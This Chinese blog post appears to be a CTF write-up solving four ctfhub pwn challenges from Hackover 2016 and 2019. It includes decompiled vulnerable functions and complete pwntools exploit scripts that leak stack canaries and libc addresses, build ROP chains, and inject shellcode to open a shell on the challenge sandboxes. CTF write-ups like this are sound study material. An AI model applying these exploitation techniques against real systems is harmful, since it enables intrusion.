• [ctfhub.pwn] 22-25练习


    目录

    2016-HackOver-Pwn-bookshellf

    2016-Hackover-Pwn-ezpz

    Hackover-2019-Pwn-robocaptcha

    2016-Hackover-Pwn-pinggnop


    2016-HackOver-Pwn-bookshellf

    这是一个读书的程序,可以选定一本书然后把它调入内存中。然后可以显示。有canary,用scanf(%s,v4)把数据读入栈可以有溢出。并且栈内可执行,一般这种专门打开的就是让在栈里写shellcode然后跳过去执行。

    1. unsigned __int64 list()
    2. {
    3. int v1; // [rsp+4h] [rbp-7A5Ch]
    4. int v2; // [rsp+8h] [rbp-7A58h]
    5. unsigned int v3; // [rsp+Ch] [rbp-7A54h]
    6. char v4[32]; // [rsp+10h] [rbp-7A50h] BYREF
    7. char v5; // [rsp+30h] [rbp-7A30h] BYREF
    8. char v6[31]; // [rsp+31h] [rbp-7A2Fh] BYREF
    9. char dest[512]; // [rsp+50h] [rbp-7A10h] BYREF
    10. char s[30728]; // [rsp+250h] [rbp-7810h] BYREF
    11. unsigned __int64 v9; // [rsp+7A58h] [rbp-8h]
    12. v9 = __readfsqword(0x28u);
    13. banner();
    14. memset(s, 0, 0x7800uLL);
    15. printf("Which book to read?\n> ");
    16. _isoc99_scanf("%s", v4); // book_name
    17. if ( !sub_400D20(v4, s, 0x7800uLL) )
    18. {
    19. printf("Can't open book: %s\n", v4);
    20. }
    21. else
    22. {
    23. v2 = strlen(s);
    24. v1 = -1;
    25. v5 = 32;
    26. do
    27. {
    28. if ( v1 >= 0 )
    29. {
    30. printf("\ncontinue? [y/n/sN] > ");
    31. _isoc99_scanf("%s", &v5);
    32. }
    33. if ( v1 >= v2 )
    34. v5 = 'n';
    35. if ( v5 == 's' ) // seek有溢出
    36. {
    37. v3 = atoi(v6);
    38. printf("seeking: %i\n", v3);
    39. v1 += v3;
    40. v5 = 'y';
    41. }
    42. else if ( v5 == 32 )
    43. {
    44. v5 = 'y';
    45. v1 = 0;
    46. }
    47. else
    48. {
    49. v1 += 511;
    50. }
    51. strncpy(dest, &s[v1], 0x1FFuLL);
    52. dest[511] = 0;
    53. banner();
    54. puts(dest);
    55. }
    56. while ( v5 == aY[0] );
    57. banner();
    58. }
    59. return __readfsqword(0x28u) ^ v9;
    60. }

    坑:后台需要在./library里有一个大点的文本文件调入,但后台好像没建这个目录,所以运行不了

    sn是说可以从哪个位置开始,而且这里对n并没有限制,就可以输入溢出的数字达到任意地址读。

    第一步是读canary+1(尾字节为0)读到canary

    第二步是读rbp

    然后就可以在输入书名的时候溢出在ret的位置放jmp+shellcode,照着网上的wp

    1. from pwn import *
    2. r = process('./pwn')
    3. #r = remote('challenge-a4141bf9625a8383.sandbox.ctfhub.com', 30818)
    4. context(arch='amd64', log_level='debug')
    5. #Get stack canary
    6. r.sendline(b"1")
    7. r.recvuntil(b">")
    8. r.clean()
    9. r.sendline(b"memory.txt")
    10. r.recvuntil(b"continue?")
    11. r.sendline(b"s30729") # last byte of stack canary is a null byte (probably ubuntu: http://phrack.org/issues/67/13.html)
    12. r.recvuntil(b"more love!\n\n\n")
    13. canary = u64(b"\x00"+r.recvn(7))
    14. log.info("Got the stack canary: 0x%x" % canary)
    15. r.sendline(b"n")
    16. r.recvuntil(b">")
    17. r.clean()
    18. #Get rbp
    19. r.sendline(b"1")
    20. r.recvuntil(b">")
    21. r.clean()
    22. r.sendline(b"memory.txt")
    23. r.recvuntil(b"continue?")
    24. r.sendline(b"s30736")
    25. r.recvuntil(b"more love!\n\n\n")
    26. getrbp = r.recvn(6)
    27. print(getrbp)
    28. assert getrbp[5] == 0x7f
    29. rbp = u64(getrbp + b"\x00\x00")
    30. log.info("rbp is at 0x%x" % rbp)
    31. r.sendline(b"n")
    32. r.recvuntil(b">")
    33. r.clean()
    34. #Smash it!
    35. r.sendline(b"1")
    36. r.recvuntil(b">")
    37. r.clean()
    38. #v4 [rbp-7A50h] jmp to shellcode
    39. r.sendline(b"A"*31304 + p64(canary) + p64(rbp) + p64(rbp+32) + b"\x90"*100 + asm(shellcraft.setresuid(1001,1001,1001) + shellcraft.setresgid(1001,1001,1001) + shellcraft.sh()))
    40. r.interactive()

    2016-Hackover-Pwn-ezpz

    前边都没大问题,在vnln里将前面输入的很长的数据用memcpy得到0x400到50里有很明显的溢出

    1. void *__cdecl vuln(int src, size_t n)
    2. {
    3. char dest[50]; // [esp+6h] [ebp-32h] BYREF
    4. return memcpy(dest, &src, n);
    5. }

    并且和上题一样栈里可执行,直接写shellcode,具体跳到哪用gdb跟进去找,差不多就行,中间用nop过滤。不用太准,只要落在nop的位置即可。

    1. from pwn import *
    2. #p = process('./pwn')
    3. p = remote('challenge-b668730cdba19f41.sandbox.ctfhub.com', 20247)
    4. elf = ELF('./pwn')
    5. context(arch='i386', log_level='debug')
    6. p.recvuntil(b'Yippie, lets crash: ')
    7. ebp = int(p.recvline(),16)
    8. print('ebp:', hex(ebp))
    9. #gdb.attach(p, "b*0x80485fd")
    10. #pause()
    11. p.sendlineafter(b'> ', b'crashme\x00'.ljust(22, b'\x00')+ p32(0) + p32(ebp+0x20)+ b'\x90'*0x40+asm(shellcraft.sh()))
    12. p.recv()
    13. p.interactive()

    Hackover-2019-Pwn-robocaptcha

    这题有点绕

    1. __int64 __fastcall main(int a1, char **a2, char **a3)
    2. {
    3. qword_602068 = (__int64)*a2;
    4. if ( a1 > 1 && !strcmp("--help", a2[1]) )
    5. sub_4011ED();
    6. setbuf(stdout, 0LL);
    7. sub_400B84(); // 得到savedtime
    8. sub_401196(); // 6次算检验码
    9. sub_400F27(); // 溢出
    10. return 0LL;
    11. }

    先把一个时间存起来,并输出,然后作6次检验码,就是给两个数要求输入和。

    然后是两次检查,有一个不太复杂的运行,由于这里有溢出,要求通过溢出覆盖到指定位置,使两个数相同。两个函数里的运算方法是相同的。

    第二次检查的溢出比较长可以覆盖到ret后边但是有个问题,这个题没有plt表,所以不能用pop_rdi,got_puts,plt_puts,并且几乎所有的puts,ret都在特殊字符位置,因为scanf(%s)的时候比如09,0a,0c这些都是输入不进去的,所以需要找一个能泄露的函数。这里用400fe8也就是第2次检查的中间部分,这里输入libc后会继续检查,由于这里用到rbp所以在这次溢出里要用bss的可写地址填充rbp。由于bss从602000开始,20是空格也不能输入,要向后找,并且栈是向小地址生长的,所以要保留足够的空间。这里选用602800,其它只要空间够就可以

    1. from pwn import *
    2. '''
    3. patchelf --set-interpreter /home/shi/buuctf/buuoj_2.23_amd64/ld_2.23-0ubuntu10_amd64.so pwn
    4. patchelf --add-needed /home/shi/buuctf/buuoj_2.23_amd64/libc6_2.23-0ubuntu10_amd64.so pwn
    5. '''
    6. p = process('./pwn')
    7. #p = remote('challenge-43a67d2ad4cea95d.sandbox.ctfhub.com', 26446)
    8. elf = ELF('./pwn')
    9. context(arch='amd64', log_level='debug')
    10. p.recvuntil(b" time: 0x")
    11. savedtime = int(p.recvline(), 16)
    12. print('time:', hex(savedtime))
    13. def checkcode():
    14. p.recvuntil(b'captcha: ')
    15. v1 = int(p.recvuntil(b' ', drop=True), 16)
    16. v2 = int(p.recvuntil(b'\n', drop=True), 16)
    17. p.sendlineafter(b'> ', hex(v1+v2)[2:].encode())
    18. for i in range(6):
    19. checkcode()
    20. def get_v18():
    21. v11 = savedtime&0xdd
    22. v10 = v11|(v11<<8)|(v11<<16)|(v11<<24)
    23. v12 = v10^savedtime
    24. v2 = v12 + 4919
    25. v9 = v2
    26. v9 -= 66
    27. return v9
    28. v18 = get_v18()
    29. p.sendlineafter(b"Are you a robot or a human?\n> ", b'yes\x00'.ljust(0x50-4, b'\x00')+ p32(v18))
    30. v19 = get_v18()
    31. pop_rdi = 0x0000000000401303 # pop rdi ; ret
    32. pppp = 0x00000000004012fc # pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
    33. rop1 = flat(0x602800, pop_rdi, elf.got['puts'], 0x400fe8, 0x400680)
    34. p.sendlineafter(b"Which node are you?\n> ", b'yes\x00'.ljust(0x70-4, b'\x00')+ p32(v19) + rop1)
    35. libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x6f690 #0x80ed0
    36. bin_sh = libc_base + 0x18cd57 #0x1d8698
    37. system = libc_base + 0x45390 #0x50d60
    38. rop2 = flat(0, pop_rdi+1, pop_rdi, bin_sh, system)
    39. p.sendlineafter(b"> ", b'yes\x00'.ljust(0x70-4, b'\x00')+ p32(v19) + rop2)
    40. p.interactive()

    2016-Hackover-Pwn-pinggnop

    一个32位静态编译的程序,这里就不用got表也没有system,只能用int 0x80来处理,

    这时候eax=11,[ebx]=/bin/sh,[edx]=0,[edx]=0

    需要用现有的rop也凑,并且需要过滤 BAC4071CD1AC830300 同时scanf还要绕过20090A0B0C0D等。

    中间还要覆盖v7

    1. from pwn import *
    2. #p = process('./pwn')
    3. p = remote('challenge-d25bfb5dd70c964e.sandbox.ctfhub.com', 34920)
    4. elf = ELF('./pwn')
    5. context(arch='i386', log_level='debug')
    6. pop_ecx = 0x080e05f5 # pop ecx ; ret
    7. pop_edx = 0x0806fe6a # pop edx ; ret
    8. pop_ebx = 0x0804f83c # pop ebx ; ret
    9. mov_eax_ecx = 0x0806cfe5 # mov eax, ecx ; pop esi ; pop edi ; ret
    10. mov_ptr_edx_eax = 0x0805596b # mov dword ptr [edx], eax ; ret
    11. xor_eax = 0x08049573 # xor eax, eax ; ret
    12. dec_edx = 0x080e13fe # dec edx ; ret
    13. dec_ecx = 0x080e215d # dec ecx ; ret
    14. inc_eax = 0x0805d633 # inc eax ; pop edi ; ret
    15. int_80 = 0x0806d9c5 # int 0x80
    16. #gdb.attach(p, "b*0x8048bbe")
    17. #pause()
    18. # v7 ret
    19. pay = b'A'*0x25+p32(322423550)+ b'B'*0x18+ flat([
    20. pop_ecx, b'//bi', mov_eax_ecx, 0xaaaaaaaa, 0xaaaaaaaa,
    21. pop_edx, 0x80ec004, mov_ptr_edx_eax, #0x80ec004:/bin/sh
    22. pop_ecx, b'n/sh', mov_eax_ecx, 0xaaaaaaaa, 0xaaaaaaaa,
    23. pop_edx, 0x80ec008, mov_ptr_edx_eax,
    24. xor_eax,
    25. pop_edx, 0x80ec010, mov_ptr_edx_eax,
    26. dec_edx, dec_edx, dec_edx, dec_edx, mov_ptr_edx_eax, #edx=0x80ec00c [edx]=0
    27. pop_ebx, 0x80ec004,
    28. pop_ecx, 0x80ec010,
    29. pop_edx, 0x80ec010,
    30. xor_eax,
    31. (p32(inc_eax)+p32(0xdeadbeef))*11, #eax=11,[ebx]=/bin/sh,[ecx]=0,[edx]=0
    32. int_80
    33. ])
    34. p.sendlineafter(b"ping> ", pay[::-1])
    35. p.interactive()

  • 相关阅读:
    代码随想录二刷day38
    PHP 变量
    面试10分钟就完事了,问的实在是太...
    2023东莞理工大学考研介绍
    Halcon机器视觉实战--分水岭分割+距离变换实现粘连物体图像分割
    微信分享第三方连接(H5页面)自定义缩略图、标题、描述(显示分享框,而不是链接)(微信JS-SDK)
    传统语音增强——基本谱减法
    22/8/3(板子)树状dp板子+中国剩余定理+求组合数3,4+容斥原理
    聚观早报 | 白酒品牌频跨界;微软发布统一版本Copilot
    Python 爬虫 NO.4 HTTP 响应状态码
  • 原文地址:https://blog.csdn.net/weixin_52640415/article/details/126764456